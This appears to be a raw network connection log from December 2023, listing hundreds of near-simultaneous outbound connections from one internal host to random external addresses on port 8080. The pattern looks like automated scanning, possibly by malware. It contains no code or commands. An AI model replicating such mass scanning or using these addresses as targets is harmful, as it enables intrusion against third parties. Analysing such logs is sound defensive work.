Dec 26, 2023 21:22:44.117304087 CET	45469	8080	192.168.2.23	62.48.17.88
Dec 26, 2023 21:22:44.117311954 CET	45469	8080	192.168.2.23	94.171.27.9
Dec 26, 2023 21:22:44.117331028 CET	45469	8080	192.168.2.23	85.121.172.118
Dec 26, 2023 21:22:44.117332935 CET	45469	8080	192.168.2.23	85.142.80.215
Dec 26, 2023 21:22:44.117335081 CET	45469	8080	192.168.2.23	94.179.234.21
Dec 26, 2023 21:22:44.117343903 CET	45469	8080	192.168.2.23	62.149.255.249
Dec 26, 2023 21:22:44.117353916 CET	45469	8080	192.168.2.23	31.246.85.158
Dec 26, 2023 21:22:44.117362022 CET	45469	8080	192.168.2.23	94.46.154.197
Dec 26, 2023 21:22:44.117372990 CET	45469	8080	192.168.2.23	85.84.234.77
Dec 26, 2023 21:22:44.117382050 CET	45469	8080	192.168.2.23	31.245.120.242
Dec 26, 2023 21:22:44.117384911 CET	45469	8080	192.168.2.23	62.253.122.22
Dec 26, 2023 21:22:44.117384911 CET	45469	8080	192.168.2.23	31.199.77.238
Dec 26, 2023 21:22:44.117400885 CET	45469	8080	192.168.2.23	85.22.240.89
Dec 26, 2023 21:22:44.117414951 CET	45469	8080	192.168.2.23	62.148.211.49
Dec 26, 2023 21:22:44.117414951 CET	45469	8080	192.168.2.23	62.137.41.30
Dec 26, 2023 21:22:44.117434025 CET	45469	8080	192.168.2.23	85.36.3.31
Dec 26, 2023 21:22:44.117443085 CET	45469	8080	192.168.2.23	62.92.209.17
Dec 26, 2023 21:22:44.117449045 CET	45469	8080	192.168.2.23	95.242.38.200
Dec 26, 2023 21:22:44.117451906 CET	45469	8080	192.168.2.23	95.202.34.180
Dec 26, 2023 21:22:44.117456913 CET	45469	8080	192.168.2.23	31.49.158.151
Dec 26, 2023 21:22:44.117466927 CET	45469	8080	192.168.2.23	85.216.121.84
Dec 26, 2023 21:22:44.117484093 CET	45469	8080	192.168.2.23	85.225.138.205
Dec 26, 2023 21:22:44.117496014 CET	45469	8080	192.168.2.23	95.93.13.255
Dec 26, 2023 21:22:44.117511034 CET	45469	8080	192.168.2.23	62.193.72.43
Dec 26, 2023 21:22:44.117515087 CET	45469	8080	192.168.2.23	95.58.129.158
Dec 26, 2023 21:22:44.117528915 CET	45469	8080	192.168.2.23	95.136.46.232
Dec 26, 2023 21:22:44.117544889 CET	45469	8080	192.168.2.23	31.149.71.237
Dec 26, 2023 21:22:44.117561102 CET	45469	8080	192.168.2.23	85.165.32.240
Dec 26, 2023 21:22:44.117568970 CET	45469	8080	192.168.2.23	95.139.191.139
Dec 26, 2023 21:22:44.117578983 CET	45469	8080	192.168.2.23	95.85.117.29
Dec 26, 2023 21:22:44.117594957 CET	45469	8080	192.168.2.23	95.222.188.124
Dec 26, 2023 21:22:44.117597103 CET	45469	8080	192.168.2.23	85.181.101.69
Dec 26, 2023 21:22:44.117614031 CET	45469	8080	192.168.2.23	94.149.49.137
Dec 26, 2023 21:22:44.117614985 CET	45469	8080	192.168.2.23	94.63.180.173
Dec 26, 2023 21:22:44.117624998 CET	45469	8080	192.168.2.23	95.248.104.189
Dec 26, 2023 21:22:44.117638111 CET	45469	8080	192.168.2.23	62.58.106.233
Dec 26, 2023 21:22:44.117645979 CET	45469	8080	192.168.2.23	95.206.205.209
Dec 26, 2023 21:22:44.117655993 CET	45469	8080	192.168.2.23	31.172.124.0
Dec 26, 2023 21:22:44.117671967 CET	45469	8080	192.168.2.23	95.235.189.231
Dec 26, 2023 21:22:44.117671967 CET	45469	8080	192.168.2.23	94.164.233.95
Dec 26, 2023 21:22:44.117682934 CET	45469	8080	192.168.2.23	94.64.255.121
Dec 26, 2023 21:22:44.117690086 CET	45469	8080	192.168.2.23	94.200.198.247
Dec 26, 2023 21:22:44.117703915 CET	45469	8080	192.168.2.23	85.91.141.187
Dec 26, 2023 21:22:44.117722988 CET	45469	8080	192.168.2.23	95.118.42.91
Dec 26, 2023 21:22:44.117724895 CET	45469	8080	192.168.2.23	31.101.215.87
Dec 26, 2023 21:22:44.117727041 CET	45469	8080	192.168.2.23	62.166.15.18
Dec 26, 2023 21:22:44.117738962 CET	45469	8080	192.168.2.23	95.191.19.217
Dec 26, 2023 21:22:44.117753029 CET	45469	8080	192.168.2.23	94.208.123.29
Dec 26, 2023 21:22:44.117753029 CET	45469	8080	192.168.2.23	31.189.11.56
Dec 26, 2023 21:22:44.117769957 CET	45469	8080	192.168.2.23	95.107.15.127
Dec 26, 2023 21:22:44.117769957 CET	45469	8080	192.168.2.23	95.212.93.215
Dec 26, 2023 21:22:44.117785931 CET	45469	8080	192.168.2.23	62.179.133.228
Dec 26, 2023 21:22:44.117799044 CET	45469	8080	192.168.2.23	31.201.158.18
Dec 26, 2023 21:22:44.117803097 CET	45469	8080	192.168.2.23	95.153.158.12
Dec 26, 2023 21:22:44.117808104 CET	45469	8080	192.168.2.23	31.42.83.97
Dec 26, 2023 21:22:44.117808104 CET	45469	8080	192.168.2.23	31.68.179.247
Dec 26, 2023 21:22:44.117827892 CET	45469	8080	192.168.2.23	62.134.78.74
Dec 26, 2023 21:22:44.117831945 CET	45469	8080	192.168.2.23	62.13.46.104
Dec 26, 2023 21:22:44.117835045 CET	45469	8080	192.168.2.23	31.163.176.52
Dec 26, 2023 21:22:44.117845058 CET	45469	8080	192.168.2.23	85.197.42.191
Dec 26, 2023 21:22:44.117854118 CET	45469	8080	192.168.2.23	31.82.93.183
Dec 26, 2023 21:22:44.117873907 CET	45469	8080	192.168.2.23	94.165.45.32
Dec 26, 2023 21:22:44.117873907 CET	45469	8080	192.168.2.23	95.96.227.161
Dec 26, 2023 21:22:44.117883921 CET	45469	8080	192.168.2.23	31.214.109.115
Dec 26, 2023 21:22:44.117891073 CET	45469	8080	192.168.2.23	31.140.45.182
Dec 26, 2023 21:22:44.117902040 CET	45469	8080	192.168.2.23	95.66.86.174
Dec 26, 2023 21:22:44.117918968 CET	45469	8080	192.168.2.23	62.211.30.237
Dec 26, 2023 21:22:44.117919922 CET	45469	8080	192.168.2.23	94.192.174.243
Dec 26, 2023 21:22:44.117928028 CET	45469	8080	192.168.2.23	31.245.136.157
Dec 26, 2023 21:22:44.117943048 CET	45469	8080	192.168.2.23	95.54.77.75
Dec 26, 2023 21:22:44.117947102 CET	45469	8080	192.168.2.23	85.156.150.183
Dec 26, 2023 21:22:44.117947102 CET	45469	8080	192.168.2.23	85.32.131.79
Dec 26, 2023 21:22:44.117964029 CET	45469	8080	192.168.2.23	62.168.26.250
Dec 26, 2023 21:22:44.117970943 CET	45469	8080	192.168.2.23	62.53.178.224
Dec 26, 2023 21:22:44.117984056 CET	45469	8080	192.168.2.23	85.5.83.5
Dec 26, 2023 21:22:44.117995024 CET	45469	8080	192.168.2.23	95.149.210.208
Dec 26, 2023 21:22:44.118007898 CET	45469	8080	192.168.2.23	94.248.152.99
Dec 26, 2023 21:22:44.118022919 CET	45469	8080	192.168.2.23	85.90.131.124
Dec 26, 2023 21:22:44.118026018 CET	45469	8080	192.168.2.23	31.44.76.87
Dec 26, 2023 21:22:44.118026018 CET	45469	8080	192.168.2.23	95.152.5.200
Dec 26, 2023 21:22:44.118047953 CET	45469	8080	192.168.2.23	95.245.90.225
Dec 26, 2023 21:22:44.118051052 CET	45469	8080	192.168.2.23	95.23.26.59
Dec 26, 2023 21:22:44.118062019 CET	45469	8080	192.168.2.23	94.76.102.26
Dec 26, 2023 21:22:44.118062973 CET	45469	8080	192.168.2.23	94.137.12.213
Dec 26, 2023 21:22:44.118078947 CET	45469	8080	192.168.2.23	62.94.66.192
Dec 26, 2023 21:22:44.118093014 CET	45469	8080	192.168.2.23	85.25.123.160
Dec 26, 2023 21:22:44.118093014 CET	45469	8080	192.168.2.23	94.213.157.227
Dec 26, 2023 21:22:44.118103027 CET	45469	8080	192.168.2.23	31.167.179.76
Dec 26, 2023 21:22:44.118117094 CET	45469	8080	192.168.2.23	94.123.21.143
Dec 26, 2023 21:22:44.118118048 CET	45469	8080	192.168.2.23	31.221.95.161
Dec 26, 2023 21:22:44.118134975 CET	45469	8080	192.168.2.23	95.56.41.95
Dec 26, 2023 21:22:44.118148088 CET	45469	8080	192.168.2.23	85.102.38.95
Dec 26, 2023 21:22:44.118161917 CET	45469	8080	192.168.2.23	95.44.76.21
Dec 26, 2023 21:22:44.118165970 CET	45469	8080	192.168.2.23	85.201.238.22
Dec 26, 2023 21:22:44.118175983 CET	45469	8080	192.168.2.23	85.108.146.219
Dec 26, 2023 21:22:44.118186951 CET	45469	8080	192.168.2.23	62.107.86.176
Dec 26, 2023 21:22:44.118191004 CET	45469	8080	192.168.2.23	85.174.237.64
Dec 26, 2023 21:22:44.118196964 CET	45469	8080	192.168.2.23	85.213.28.252
Dec 26, 2023 21:22:44.118196964 CET	45469	8080	192.168.2.23	94.36.86.51
Dec 26, 2023 21:22:44.118212938 CET	45469	8080	192.168.2.23	94.191.70.150
Dec 26, 2023 21:22:44.118221998 CET	45469	8080	192.168.2.23	94.222.184.247
Dec 26, 2023 21:22:44.118231058 CET	45469	8080	192.168.2.23	62.251.50.129
Dec 26, 2023 21:22:44.118243933 CET	45469	8080	192.168.2.23	94.211.54.155
Dec 26, 2023 21:22:44.118244886 CET	45469	8080	192.168.2.23	62.27.205.228
Dec 26, 2023 21:22:44.118259907 CET	45469	8080	192.168.2.23	31.22.172.118
Dec 26, 2023 21:22:44.118259907 CET	45469	8080	192.168.2.23	62.128.187.202
Dec 26, 2023 21:22:44.118273973 CET	45469	8080	192.168.2.23	85.182.219.255
Dec 26, 2023 21:22:44.118293047 CET	45469	8080	192.168.2.23	85.230.165.157
Dec 26, 2023 21:22:44.118293047 CET	45469	8080	192.168.2.23	31.47.80.218
Dec 26, 2023 21:22:44.118299961 CET	45469	8080	192.168.2.23	85.250.213.177
Dec 26, 2023 21:22:44.118315935 CET	45469	8080	192.168.2.23	62.226.229.245
Dec 26, 2023 21:22:44.118318081 CET	45469	8080	192.168.2.23	94.214.87.82
Dec 26, 2023 21:22:44.118329048 CET	45469	8080	192.168.2.23	94.135.83.181
Dec 26, 2023 21:22:44.118343115 CET	45469	8080	192.168.2.23	95.175.56.193
Dec 26, 2023 21:22:44.118360043 CET	45469	8080	192.168.2.23	95.187.63.227
Dec 26, 2023 21:22:44.118366957 CET	45469	8080	192.168.2.23	62.21.184.118
Dec 26, 2023 21:22:44.118367910 CET	45469	8080	192.168.2.23	31.67.170.67
Dec 26, 2023 21:22:44.118380070 CET	45469	8080	192.168.2.23	95.82.2.73
Dec 26, 2023 21:22:44.118396044 CET	45469	8080	192.168.2.23	62.216.87.145
Dec 26, 2023 21:22:44.118406057 CET	45469	8080	192.168.2.23	94.145.224.38
Dec 26, 2023 21:22:44.118417978 CET	45469	8080	192.168.2.23	31.33.135.60
Dec 26, 2023 21:22:44.118424892 CET	45469	8080	192.168.2.23	62.224.100.47
Dec 26, 2023 21:22:44.118441105 CET	45469	8080	192.168.2.23	85.189.156.226
Dec 26, 2023 21:22:44.118458986 CET	45469	8080	192.168.2.23	95.116.98.130
Dec 26, 2023 21:22:44.118462086 CET	45469	8080	192.168.2.23	94.26.210.38
Dec 26, 2023 21:22:44.118462086 CET	45469	8080	192.168.2.23	95.146.157.29
Dec 26, 2023 21:22:44.118475914 CET	45469	8080	192.168.2.23	31.147.23.0
Dec 26, 2023 21:22:44.118484020 CET	45469	8080	192.168.2.23	62.160.97.141
Dec 26, 2023 21:22:44.118499041 CET	45469	8080	192.168.2.23	31.37.206.233
Dec 26, 2023 21:22:44.118499041 CET	45469	8080	192.168.2.23	94.87.124.203
Dec 26, 2023 21:22:44.118505001 CET	45469	8080	192.168.2.23	85.207.167.110
Dec 26, 2023 21:22:44.118514061 CET	45469	8080	192.168.2.23	94.68.192.151
Dec 26, 2023 21:22:44.118524075 CET	45469	8080	192.168.2.23	94.43.245.228
Dec 26, 2023 21:22:44.118535042 CET	45469	8080	192.168.2.23	62.7.115.131
Dec 26, 2023 21:22:44.118551016 CET	45469	8080	192.168.2.23	95.190.166.165
Dec 26, 2023 21:22:44.118566990 CET	45469	8080	192.168.2.23	94.101.95.133
Dec 26, 2023 21:22:44.118570089 CET	45469	8080	192.168.2.23	85.225.239.233
Dec 26, 2023 21:22:44.118570089 CET	45469	8080	192.168.2.23	85.11.88.71
Dec 26, 2023 21:22:44.118577003 CET	45469	8080	192.168.2.23	85.219.133.243
Dec 26, 2023 21:22:44.118597984 CET	45469	8080	192.168.2.23	62.49.16.247
Dec 26, 2023 21:22:44.118602991 CET	45469	8080	192.168.2.23	95.134.189.83
Dec 26, 2023 21:22:44.118621111 CET	45469	8080	192.168.2.23	31.226.126.190
Dec 26, 2023 21:22:44.118623972 CET	45469	8080	192.168.2.23	95.111.228.186
Dec 26, 2023 21:22:44.118630886 CET	45469	8080	192.168.2.23	95.192.69.18
Dec 26, 2023 21:22:44.118640900 CET	45469	8080	192.168.2.23	62.117.125.47
Dec 26, 2023 21:22:44.118649006 CET	45469	8080	192.168.2.23	31.148.232.226
Dec 26, 2023 21:22:44.118665934 CET	45469	8080	192.168.2.23	31.14.96.16
Dec 26, 2023 21:22:44.118669033 CET	45469	8080	192.168.2.23	85.80.221.114
Dec 26, 2023 21:22:44.118674994 CET	45469	8080	192.168.2.23	31.70.202.160
Dec 26, 2023 21:22:44.118690968 CET	45469	8080	192.168.2.23	94.167.217.149
Dec 26, 2023 21:22:44.118694067 CET	45469	8080	192.168.2.23	85.168.87.155
Dec 26, 2023 21:22:44.118702888 CET	45469	8080	192.168.2.23	85.104.192.142
Dec 26, 2023 21:22:44.118719101 CET	45469	8080	192.168.2.23	62.41.133.110
Dec 26, 2023 21:22:44.118726015 CET	45469	8080	192.168.2.23	94.96.13.240
Dec 26, 2023 21:22:44.118726015 CET	45469	8080	192.168.2.23	85.158.226.122
Dec 26, 2023 21:22:44.118736029 CET	45469	8080	192.168.2.23	62.38.243.187
Dec 26, 2023 21:22:44.118750095 CET	45469	8080	192.168.2.23	85.96.245.183
Dec 26, 2023 21:22:44.118755102 CET	45469	8080	192.168.2.23	31.49.100.2
Dec 26, 2023 21:22:44.118762016 CET	45469	8080	192.168.2.23	94.182.63.160
Dec 26, 2023 21:22:44.118762016 CET	45469	8080	192.168.2.23	62.31.125.59
Dec 26, 2023 21:22:44.118762970 CET	45469	8080	192.168.2.23	62.102.119.36
Dec 26, 2023 21:22:44.118772030 CET	45469	8080	192.168.2.23	95.221.62.141
Dec 26, 2023 21:22:44.118772984 CET	45469	8080	192.168.2.23	62.187.84.109
Dec 26, 2023 21:22:44.118772984 CET	45469	8080	192.168.2.23	31.154.33.245
Dec 26, 2023 21:22:44.118779898 CET	45469	8080	192.168.2.23	31.182.190.177
Dec 26, 2023 21:22:44.118793964 CET	45469	8080	192.168.2.23	62.231.147.71
Dec 26, 2023 21:22:44.118805885 CET	45469	8080	192.168.2.23	31.14.185.100
Dec 26, 2023 21:22:44.118813038 CET	45469	8080	192.168.2.23	62.241.41.243
Dec 26, 2023 21:22:44.118828058 CET	45469	8080	192.168.2.23	95.133.234.153
Dec 26, 2023 21:22:44.118828058 CET	45469	8080	192.168.2.23	94.153.87.206
Dec 26, 2023 21:22:44.118840933 CET	45469	8080	192.168.2.23	85.217.112.146
Dec 26, 2023 21:22:44.118845940 CET	45469	8080	192.168.2.23	94.98.206.211
Dec 26, 2023 21:22:44.118856907 CET	45469	8080	192.168.2.23	62.31.255.103
Dec 26, 2023 21:22:44.118865967 CET	45469	8080	192.168.2.23	95.189.189.109
Dec 26, 2023 21:22:44.118882895 CET	45469	8080	192.168.2.23	85.175.27.51
Dec 26, 2023 21:22:44.118890047 CET	45469	8080	192.168.2.23	95.143.94.121
Dec 26, 2023 21:22:44.118892908 CET	45469	8080	192.168.2.23	94.196.29.171
Dec 26, 2023 21:22:44.118896961 CET	45469	8080	192.168.2.23	95.203.174.62
Dec 26, 2023 21:22:44.118916988 CET	45469	8080	192.168.2.23	31.206.127.124
Dec 26, 2023 21:22:44.118932962 CET	45469	8080	192.168.2.23	31.84.75.174
Dec 26, 2023 21:22:44.118936062 CET	45469	8080	192.168.2.23	94.138.190.47
Dec 26, 2023 21:22:44.118949890 CET	45469	8080	192.168.2.23	62.0.57.253
Dec 26, 2023 21:22:44.118952990 CET	45469	8080	192.168.2.23	95.156.251.49
Dec 26, 2023 21:22:44.118963957 CET	45469	8080	192.168.2.23	62.62.162.243
Dec 26, 2023 21:22:44.118966103 CET	45469	8080	192.168.2.23	62.42.226.136
Dec 26, 2023 21:22:44.118968010 CET	45469	8080	192.168.2.23	94.228.132.135
Dec 26, 2023 21:22:44.118977070 CET	45469	8080	192.168.2.23	94.169.135.171
Dec 26, 2023 21:22:44.118980885 CET	45469	8080	192.168.2.23	31.57.246.101
Dec 26, 2023 21:22:44.118993998 CET	45469	8080	192.168.2.23	85.10.143.20
Dec 26, 2023 21:22:44.118999004 CET	45469	8080	192.168.2.23	31.101.203.189
Dec 26, 2023 21:22:44.119009018 CET	45469	8080	192.168.2.23	94.98.120.225
Dec 26, 2023 21:22:44.119024992 CET	45469	8080	192.168.2.23	94.34.198.113
Dec 26, 2023 21:22:44.119035006 CET	45469	8080	192.168.2.23	95.196.98.181
Dec 26, 2023 21:22:44.119048119 CET	45469	8080	192.168.2.23	95.21.73.98
Dec 26, 2023 21:22:44.119055986 CET	45469	8080	192.168.2.23	85.178.181.3
Dec 26, 2023 21:22:44.119064093 CET	45469	8080	192.168.2.23	94.141.87.253
Dec 26, 2023 21:22:44.119066954 CET	45469	8080	192.168.2.23	85.44.79.102
Dec 26, 2023 21:22:44.119077921 CET	45469	8080	192.168.2.23	95.94.70.5
Dec 26, 2023 21:22:44.119092941 CET	45469	8080	192.168.2.23	95.71.10.211
Dec 26, 2023 21:22:44.119105101 CET	45469	8080	192.168.2.23	85.7.16.115
Dec 26, 2023 21:22:44.119115114 CET	45469	8080	192.168.2.23	31.179.170.252
Dec 26, 2023 21:22:44.119123936 CET	45469	8080	192.168.2.23	85.176.21.217
Dec 26, 2023 21:22:44.119124889 CET	45469	8080	192.168.2.23	94.132.235.223
Dec 26, 2023 21:22:44.119124889 CET	45469	8080	192.168.2.23	95.240.136.217
Dec 26, 2023 21:22:44.119141102 CET	45469	8080	192.168.2.23	95.105.157.172
Dec 26, 2023 21:22:44.119151115 CET	45469	8080	192.168.2.23	62.217.193.196
Dec 26, 2023 21:22:44.119151115 CET	45469	8080	192.168.2.23	62.113.155.28
Dec 26, 2023 21:22:44.119158983 CET	45469	8080	192.168.2.23	95.138.129.247
Dec 26, 2023 21:22:44.119164944 CET	45469	8080	192.168.2.23	62.63.107.125
Dec 26, 2023 21:22:44.119167089 CET	45469	8080	192.168.2.23	94.49.183.165
Dec 26, 2023 21:22:44.119178057 CET	45469	8080	192.168.2.23	95.17.238.22
Dec 26, 2023 21:22:44.119184017 CET	45469	8080	192.168.2.23	62.190.199.218
Dec 26, 2023 21:22:44.119193077 CET	45469	8080	192.168.2.23	95.109.250.97
Dec 26, 2023 21:22:44.119204044 CET	45469	8080	192.168.2.23	95.144.106.110
Dec 26, 2023 21:22:44.119204044 CET	45469	8080	192.168.2.23	85.46.240.23
Dec 26, 2023 21:22:44.119209051 CET	45469	8080	192.168.2.23	31.48.91.64
Dec 26, 2023 21:22:44.119211912 CET	45469	8080	192.168.2.23	94.123.154.69
Dec 26, 2023 21:22:44.119227886 CET	45469	8080	192.168.2.23	85.10.64.75
Dec 26, 2023 21:22:44.119240999 CET	45469	8080	192.168.2.23	85.137.60.225
Dec 26, 2023 21:22:44.119255066 CET	45469	8080	192.168.2.23	85.6.103.229
Dec 26, 2023 21:22:44.119266033 CET	45469	8080	192.168.2.23	62.123.120.198
Dec 26, 2023 21:22:44.119266987 CET	45469	8080	192.168.2.23	31.163.60.195
Dec 26, 2023 21:22:44.119285107 CET	45469	8080	192.168.2.23	31.238.74.90
Dec 26, 2023 21:22:44.119292974 CET	45469	8080	192.168.2.23	62.236.70.71
Dec 26, 2023 21:22:44.119313002 CET	45469	8080	192.168.2.23	94.35.227.90
Dec 26, 2023 21:22:44.119313002 CET	45469	8080	192.168.2.23	62.131.79.77
Dec 26, 2023 21:22:44.119323969 CET	45469	8080	192.168.2.23	95.49.59.235
Dec 26, 2023 21:22:44.119345903 CET	45469	8080	192.168.2.23	31.178.65.57
Dec 26, 2023 21:22:44.119349957 CET	45469	8080	192.168.2.23	31.47.149.179
Dec 26, 2023 21:22:44.119358063 CET	45469	8080	192.168.2.23	62.18.216.168
Dec 26, 2023 21:22:44.119358063 CET	45469	8080	192.168.2.23	95.24.55.131
Dec 26, 2023 21:22:44.119374990 CET	45469	8080	192.168.2.23	85.137.204.191
Dec 26, 2023 21:22:44.119390011 CET	45469	8080	192.168.2.23	62.167.87.48
Dec 26, 2023 21:22:44.119393110 CET	45469	8080	192.168.2.23	94.186.218.78
Dec 26, 2023 21:22:44.119394064 CET	45469	8080	192.168.2.23	85.171.47.169
Dec 26, 2023 21:22:44.119399071 CET	45469	8080	192.168.2.23	62.138.62.104
Dec 26, 2023 21:22:44.119406939 CET	45469	8080	192.168.2.23	62.3.175.114
Dec 26, 2023 21:22:44.119415998 CET	45469	8080	192.168.2.23	95.137.81.58
Dec 26, 2023 21:22:44.119429111 CET	45469	8080	192.168.2.23	62.249.251.224
Dec 26, 2023 21:22:44.119440079 CET	45469	8080	192.168.2.23	85.172.192.217
Dec 26, 2023 21:22:44.119448900 CET	45469	8080	192.168.2.23	95.156.144.19
Dec 26, 2023 21:22:44.119456053 CET	45469	8080	192.168.2.23	85.64.158.254
Dec 26, 2023 21:22:44.119472027 CET	45469	8080	192.168.2.23	31.158.48.136
Dec 26, 2023 21:22:44.119474888 CET	45469	8080	192.168.2.23	31.30.119.129
Dec 26, 2023 21:22:44.119477034 CET	45469	8080	192.168.2.23	94.110.67.14
Dec 26, 2023 21:22:44.119488001 CET	45469	8080	192.168.2.23	31.152.116.180
Dec 26, 2023 21:22:44.119502068 CET	45469	8080	192.168.2.23	85.174.160.255
Dec 26, 2023 21:22:44.119518042 CET	45469	8080	192.168.2.23	94.229.86.41
Dec 26, 2023 21:22:44.119534016 CET	45469	8080	192.168.2.23	94.236.90.15
Dec 26, 2023 21:22:44.119535923 CET	45469	8080	192.168.2.23	95.93.22.58
Dec 26, 2023 21:22:44.119548082 CET	45469	8080	192.168.2.23	31.38.22.197
Dec 26, 2023 21:22:44.119556904 CET	45469	8080	192.168.2.23	31.117.86.205
Dec 26, 2023 21:22:44.119566917 CET	45469	8080	192.168.2.23	85.108.61.123
Dec 26, 2023 21:22:44.119571924 CET	45469	8080	192.168.2.23	85.34.179.169
Dec 26, 2023 21:22:44.119576931 CET	45469	8080	192.168.2.23	95.25.11.125
Dec 26, 2023 21:22:44.119590044 CET	45469	8080	192.168.2.23	94.3.125.17
Dec 26, 2023 21:22:44.119595051 CET	45469	8080	192.168.2.23	31.21.239.194
Dec 26, 2023 21:22:44.119606018 CET	45469	8080	192.168.2.23	31.106.68.241
Dec 26, 2023 21:22:44.119607925 CET	45469	8080	192.168.2.23	85.79.141.233
Dec 26, 2023 21:22:44.119617939 CET	45469	8080	192.168.2.23	85.180.63.179
Dec 26, 2023 21:22:44.119617939 CET	45469	8080	192.168.2.23	94.209.2.170
Dec 26, 2023 21:22:44.119632006 CET	45469	8080	192.168.2.23	31.82.119.83
Dec 26, 2023 21:22:44.119632006 CET	45469	8080	192.168.2.23	94.209.23.108
Dec 26, 2023 21:22:44.119632006 CET	45469	8080	192.168.2.23	95.42.64.181
Dec 26, 2023 21:22:44.119651079 CET	45469	8080	192.168.2.23	95.241.253.117
Dec 26, 2023 21:22:44.119653940 CET	45469	8080	192.168.2.23	94.172.4.147
Dec 26, 2023 21:22:44.119653940 CET	45469	8080	192.168.2.23	85.95.160.34
Dec 26, 2023 21:22:44.119664907 CET	45469	8080	192.168.2.23	62.232.167.152
Dec 26, 2023 21:22:44.119674921 CET	45469	8080	192.168.2.23	94.170.44.213
Dec 26, 2023 21:22:44.119694948 CET	45469	8080	192.168.2.23	62.171.53.177
Dec 26, 2023 21:22:44.119704008 CET	45469	8080	192.168.2.23	95.15.248.55
Dec 26, 2023 21:22:44.119712114 CET	45469	8080	192.168.2.23	94.187.41.85
Dec 26, 2023 21:22:44.119733095 CET	45469	8080	192.168.2.23	31.85.113.102
Dec 26, 2023 21:22:44.119733095 CET	45469	8080	192.168.2.23	94.146.46.224
Dec 26, 2023 21:22:44.119735956 CET	45469	8080	192.168.2.23	31.239.251.185
Dec 26, 2023 21:22:44.119736910 CET	45469	8080	192.168.2.23	85.241.237.228
Dec 26, 2023 21:22:44.119746923 CET	45469	8080	192.168.2.23	31.1.47.180
Dec 26, 2023 21:22:44.119750977 CET	45469	8080	192.168.2.23	95.112.84.69
Dec 26, 2023 21:22:44.119769096 CET	45469	8080	192.168.2.23	94.221.201.35
Dec 26, 2023 21:22:44.119776011 CET	45469	8080	192.168.2.23	62.202.49.242
Dec 26, 2023 21:22:44.119779110 CET	45469	8080	192.168.2.23	62.219.144.78
Dec 26, 2023 21:22:44.119784117 CET	45469	8080	192.168.2.23	31.203.102.15
Dec 26, 2023 21:22:44.119786978 CET	45469	8080	192.168.2.23	94.185.37.46
Dec 26, 2023 21:22:44.119793892 CET	45469	8080	192.168.2.23	31.25.4.183
Dec 26, 2023 21:22:44.119808912 CET	45469	8080	192.168.2.23	95.10.53.230
Dec 26, 2023 21:22:44.119823933 CET	45469	8080	192.168.2.23	95.139.230.147
Dec 26, 2023 21:22:44.119828939 CET	45469	8080	192.168.2.23	85.83.195.222
Dec 26, 2023 21:22:44.119841099 CET	45469	8080	192.168.2.23	94.114.58.251
Dec 26, 2023 21:22:44.119843960 CET	45469	8080	192.168.2.23	31.164.54.214
Dec 26, 2023 21:22:44.119859934 CET	45469	8080	192.168.2.23	95.206.254.133
Dec 26, 2023 21:22:44.119869947 CET	45469	8080	192.168.2.23	94.50.214.149
Dec 26, 2023 21:22:44.119879007 CET	45469	8080	192.168.2.23	95.150.203.86
Dec 26, 2023 21:22:44.119896889 CET	45469	8080	192.168.2.23	94.25.90.244
Dec 26, 2023 21:22:44.119910002 CET	45469	8080	192.168.2.23	62.32.46.1
Dec 26, 2023 21:22:44.119925022 CET	45469	8080	192.168.2.23	31.158.188.76
Dec 26, 2023 21:22:44.119929075 CET	45469	8080	192.168.2.23	95.129.231.203
Dec 26, 2023 21:22:44.119935036 CET	45469	8080	192.168.2.23	31.190.97.90
Dec 26, 2023 21:22:44.119940996 CET	45469	8080	192.168.2.23	62.241.214.239
Dec 26, 2023 21:22:44.119940996 CET	45469	8080	192.168.2.23	95.167.8.158
Dec 26, 2023 21:22:44.119942904 CET	45469	8080	192.168.2.23	31.153.245.198
Dec 26, 2023 21:22:44.119956017 CET	45469	8080	192.168.2.23	62.161.57.85
Dec 26, 2023 21:22:44.119971991 CET	45469	8080	192.168.2.23	94.104.80.118
Dec 26, 2023 21:22:44.119982004 CET	45469	8080	192.168.2.23	95.132.83.11
Dec 26, 2023 21:22:44.119993925 CET	45469	8080	192.168.2.23	95.45.9.66
Dec 26, 2023 21:22:44.119997978 CET	45469	8080	192.168.2.23	95.214.80.223
Dec 26, 2023 21:22:44.120011091 CET	45469	8080	192.168.2.23	31.11.88.123
Dec 26, 2023 21:22:44.120011091 CET	45469	8080	192.168.2.23	95.174.85.53
Dec 26, 2023 21:22:44.120026112 CET	45469	8080	192.168.2.23	94.132.74.14
Dec 26, 2023 21:22:44.120042086 CET	45469	8080	192.168.2.23	95.53.237.177
Dec 26, 2023 21:22:44.120055914 CET	45469	8080	192.168.2.23	94.202.152.201
Dec 26, 2023 21:22:44.120069027 CET	45469	8080	192.168.2.23	95.143.165.138
Dec 26, 2023 21:22:44.120080948 CET	45469	8080	192.168.2.23	62.35.175.66
Dec 26, 2023 21:22:44.120085955 CET	45469	8080	192.168.2.23	85.93.115.126
Dec 26, 2023 21:22:44.120091915 CET	45469	8080	192.168.2.23	95.77.123.227
Dec 26, 2023 21:22:44.120107889 CET	45469	8080	192.168.2.23	95.173.170.200
Dec 26, 2023 21:22:44.120114088 CET	45469	8080	192.168.2.23	31.159.208.230
Dec 26, 2023 21:22:44.120116949 CET	45469	8080	192.168.2.23	85.163.192.236
Dec 26, 2023 21:22:44.120134115 CET	45469	8080	192.168.2.23	95.100.240.93
Dec 26, 2023 21:22:44.120141029 CET	45469	8080	192.168.2.23	31.188.111.189
Dec 26, 2023 21:22:44.120143890 CET	45469	8080	192.168.2.23	62.80.129.24
Dec 26, 2023 21:22:44.120146036 CET	45469	8080	192.168.2.23	95.176.201.105
Dec 26, 2023 21:22:44.120158911 CET	45469	8080	192.168.2.23	85.182.208.101
Dec 26, 2023 21:22:44.120172977 CET	45469	8080	192.168.2.23	62.221.124.93
Dec 26, 2023 21:22:44.120174885 CET	45469	8080	192.168.2.23	85.238.115.63
Dec 26, 2023 21:22:44.120186090 CET	45469	8080	192.168.2.23	31.215.93.234
Dec 26, 2023 21:22:44.120203018 CET	45469	8080	192.168.2.23	94.183.102.159
Dec 26, 2023 21:22:44.120208979 CET	45469	8080	192.168.2.23	31.81.87.75
Dec 26, 2023 21:22:44.120208979 CET	45469	8080	192.168.2.23	85.200.91.198
Dec 26, 2023 21:22:44.120217085 CET	45469	8080	192.168.2.23	94.198.238.209
Dec 26, 2023 21:22:44.120218992 CET	45469	8080	192.168.2.23	31.75.242.246
Dec 26, 2023 21:22:44.120232105 CET	45469	8080	192.168.2.23	85.216.139.90
Dec 26, 2023 21:22:44.120234013 CET	45469	8080	192.168.2.23	62.233.126.108
Dec 26, 2023 21:22:44.120244026 CET	45469	8080	192.168.2.23	85.79.211.45
